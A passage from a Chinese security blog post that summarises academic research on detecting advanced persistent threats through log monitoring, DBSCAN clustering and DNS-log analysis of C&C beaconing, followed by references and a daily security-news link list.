源代码中可能存在的漏洞可以通过静态分析技术(如污点分析和数据流分析等技术)来识别。此外,可以在执行期间监视代码的性能,并确保代码在其范围内运行,不会访问未经授权的内存区域与其他资源,这样可以更早地识别出威胁。这一块是一个非常大的领域,我们实验室有其他小伙伴在研究,这里也不展开了,后续有机会的话单独发文与各位师傅一起学习。
日志监控
有很多日志都有助于检测,比如内存使用日志、CPU使用日志、应用程序执行日志、系统日志等。
日志种类、数量都很多,不同日志之间记录的格式又是不同的,怎么将其联系起来进行分析是非常重要的一个问题。
10、结合了网络日志和主机日志来检测恶意活动。他们从这些日志中提取了4类特征,身份特征,基于网络流量的特征,基于服务的特征和基于认证的特征,然后使用皮尔逊相关系数来减少冗余,然后删除那些对聚类没有贡献的特征,接着通过聚类以识别恶意活动。
下图是据源IP地址聚合的防火墙数据中所选特征的经验累积分布函数
下图是由源IP地址聚合的系统日志数据中所选特征的经验累积分布函数。
在原始的10维空间中进行聚类,使用DBSCAN聚类算法,对于参数值ε = 0.15和minPts = 21的防火墙数据,投影到前三个主成分用于可视化,效果如下
在指定参数后,DBSCAN识别出6个集群和一小组离群点。虽然从图中看不出来,但在进行聚类的高维空间中,聚类之间的距离实际上相当远。
在原始的28维空间中进行聚类。结合防火墙和系统日志数据的DBSCAN聚类,参数值设ε = 0.25和minPts = 20,投影到前三个主成分(PC)进行可视化
从上图中可以看到有四个簇和一组离群点。虽然聚类在图中看起来不是可分离的,但在进行聚类的高维空间中,它们是相当遥远的。其中簇1代表正常行为,而簇2、3和4被分类为异常行为。为了分析攻击的异常簇,我们计算每个簇的归一化平均特征向量,如下所示
每一个小表的横轴是特征,特征1 -18对应于从系统日志数据中提取的特性,而特征19 - 28对应于从防火墙日志中提取的特性。当根据异常簇的正常值对其排序时,我们可以认为簇2最有可能是恶意的,其次是簇4和簇3。由于簇群3只有唯一的IP地址,所以我们认为它只包含良性主机。
11、分析DNS日志来识别受感染的内部主机与外部恶意域名之间的的“beacon”活动,他们认为这种行为会在网络流和DNS日志中留下自己的记录。作者提出了一种DNS日志分析和事件关联的方法,通过考虑低延迟间隔时间,他们假设受感染的主机每天会与C&C服务器通信几次。通过识别受感染的主机,它们将与相同可疑域通信的其他主机连接起来。首先对DNS日志进行预处理,过滤不需要的数据,仅从DNS日志中获取IPv4地址。然后以图的方式表示元数据,图的顶点表示主机IP地址和域名,而每条边对应于从内部主机到外部机器的一个查询。
在Cobalt Strike中的Beacon大概就是如下所示
它可以使用SMB协议创建一个beacon,当然也可以使用HTTP或DNS等协议。初始任务是启动一个beacon侦听器来使用恶意payload并指定用于传输流量的端口号,payload提供两个通信通道。以上图为例,当域列表被提供之后,恶意软件会检查任务并通过HTTP或DNS下载它们。之后每次都要通过这些域,必须使用beacon向C2发送信号。如果一个域失败或被阻塞,恶意软件将进入休眠状态,直到下一个域可用。
该作者提出的基于DNS A记录进行迭代检测的方案流程如下
12、同样通过DNS日志分析来检测APT恶意软件和C&C通信活动。他们使用移动设备的DNS日志,他们的方法简单来说就是给C2域名和普通域名打分。为了区分正常和异常(C&C)域,他们根据内部设备发起的DNS请求的数量,选择正常域,提取15个特征,分为4大类:基于DNS请求和应答的特征,基于域的特征,基于时间的特征,以及基于whois的特征,然后通过分数进行识别。流程如下所示
所选的基于域名的特征总结如下表
下图是验证时,绘制的C&C域与普通域之间的距离差。
上图中x-轴代表不同的测试示例,前60个是C&C域名,后170个是普通域名。我们注意到,几乎所有C&C域的平均距离都大于0.2。
下图则展示了不同阈值的恶意软件C&C域的检测性能。检测性能表明,当参数设置为 0.2时,异常检测算法的误报率和误报率最低。
而针对日志中冗余数据、脏数据过多的问题,13、提出了从脏日志中提取信息和知识的方法。首先通过网络配置对日志数据进行过滤和规范化,然后将这些标准化数据处理成不同的特征,最后对这些提取的特征进行聚类,以确定任何可疑活动。他们使用了web代理日志、DHCP服务器日志、VPN服务器远程连接日志、认证尝试日志、防病毒扫描日志等不同来源的日志,然后根据目标、主机、策略和流量提取特征,通过适应性k-means聚类算法对特征进行聚类,最后成功找出行为与正常主机有显著差异的主机,这些主机就是被攻陷的机器。
参考
1.N. Virvilis and D. Gritzalis, “The big four-what we did wrong in advanced persistent threat detection?” in Availability, Reliability and Security (ARES), 2013 Eighth International Conference on. IEEE, 2013, pp. 248–254.
2.H. Yin, D. Song, M. Egele, C. Kruegel, and E. Kirda, “Panorama: capturing system-wide information flow for malware detection and analysis,” in Proceedings of the 14th ACM conference on Computer and communications security. ACM, 2007, pp. 116–127.
3.Z. Xu, S. Ray, P. Subramanyan, and S. Malik, “Malware detection using machine learning based analysis of virtual memory access patterns,” in 2017 Design, Automation & Test in Europe Conference & Exhibition (DATE). IEEE, 2017, pp. 169–174.
4.C. Vaas and J. Happa, “Detecting disguised processes using application- behavior profiling,” in Technologies for Homeland Security (HST), 2017 IEEE International Symposium on. IEEE, 2017, pp. 1–6.
5.M. Marchetti, F. Pierazzi, M. Colajanni, and A. Guido, “Analysis of high volumes of network traffic for advanced persistent threat detection,” Computer Networks, vol. 109, pp. 127–141, 2016.
6.O. McCusker, S. Brunza, and D. Dasgupta, “Deriving behavior primi- tives from aggregate network features using support vector machines,” in Cyber Conflict (CyCon), 2013 5th International Conference on. IEEE, 2013, pp. 1–18.
7.N. Villeneuve and J. Bennett, “Detecting apt activity with network traffic analysis,” Trend Micro Incorporated Research Paper, 2012.
8.A. Vance, “Flow based analysis of advanced persistent threats detecting targeted attacks in cloud computing,” in Problems of Infocommuni- cations Science and Technology, 2014 First International Scientific- Practical Conference. IEEE, 2014, pp. 173–176.
9.P. Hu, H. Li, H. Fu, D. Cansever, and P. Mohapatra, “Dynamic defense strategy against advanced persistent threat with insiders,” in Computer Communications (INFOCOM), 2015 IEEE Conference on. IEEE, 2015, pp. 747–755.
10.A. Bohara, U. Thakore, and W. H. Sanders, “Intrusion detection in enterprise systems by combining and clustering diverse monitor data,” in Proceedings of the Symposium and Bootcamp on the Science of Security. ACM, 2016, pp. 7–16.
11.A. Shalaginov, K. Franke, and X. Huang, “Malware beaconing detec- tion by mining large-scale dns logs for targeted attack identification,” in 18th International Conference on Computational Intelligence in Security Information Systems. WASET, 2016.
12.W. Niu, X. Zhang, G. Yang, J. Zhu, and Z. Ren, “Identifying apt malware domain based on mobile dns logging,” Mathematical Problems in Engineering, vol. 2017, 2017.
13.T.-F. Yen, A. Oprea, K. Onarlioglu, T. Leetham, W. Robertson, A. Juels, and E. Kirda, “Beehive: Large-scale log analysis for detecting sus- picious activity in enterprise networks,” in Proceedings of the 29th Annual Computer Security Applications Conference. ACM, 2013, pp. 199–208.
网络安全日报 2022年05月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员警告“Raspberry Robin”恶意软件通过USB设备传播
https://thehackernews.com/2022/05/researchers-warn-of-raspberry-robin.html 2、QNAP 修复多个漏洞,包括 QVR RCE 漏洞
https://securityaffairs.co/wordpress/131000/security/qnap-fixes-critical-flaws.html 3、NetDooka恶意软件通过PrivateLoader PPI服务分发
https://thehackernews.com/2022/05/hackers-using-privateloader-ppi-service.html 4、欧洲刑警组织:Deepfakes对网络安全和社会的威胁越来越大
https://www.secrss.com/articles/42015 5、攻击者劫持英国国家卫生系统电子邮件帐户,以窃取微软登录信息
https://securityaffairs.co/wordpress/130865/security/dns-vulnerability.html 6、Heroku 在 OAuth 令牌被盗后承认客户数据库被黑客入侵
https://www.bleepingcomputer.com/news/security/heroku-admits-to-customer-database-hack-after-oauth-token-theft/ 7、NIST 发布修订后的供应链风险管理网络安全指南
https://www.nist.gov/news-events/news/2022/05/nist-updates-cybersecurity-guidance-supply-chain-risk-management 8、攻击者向Pixiv和DeviantArt平台用户传播恶意软件
https://www.bleepingcomputer.com/news/security/pixiv-deviantart-artists-hit-by-nft-job-offers-pushing-malware/ 9、美国佐治亚州律师协会遭到网络攻击网站关闭
https://portswigger.net/daily-swig/state-bar-of-georgia-reels-from-cyber-attack 10、澳大利亚新南威尔士州交通局披露遭到网络攻击
https://www.zdnet.com/article/transport-for-nsw-struck-by-cyber-attack/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

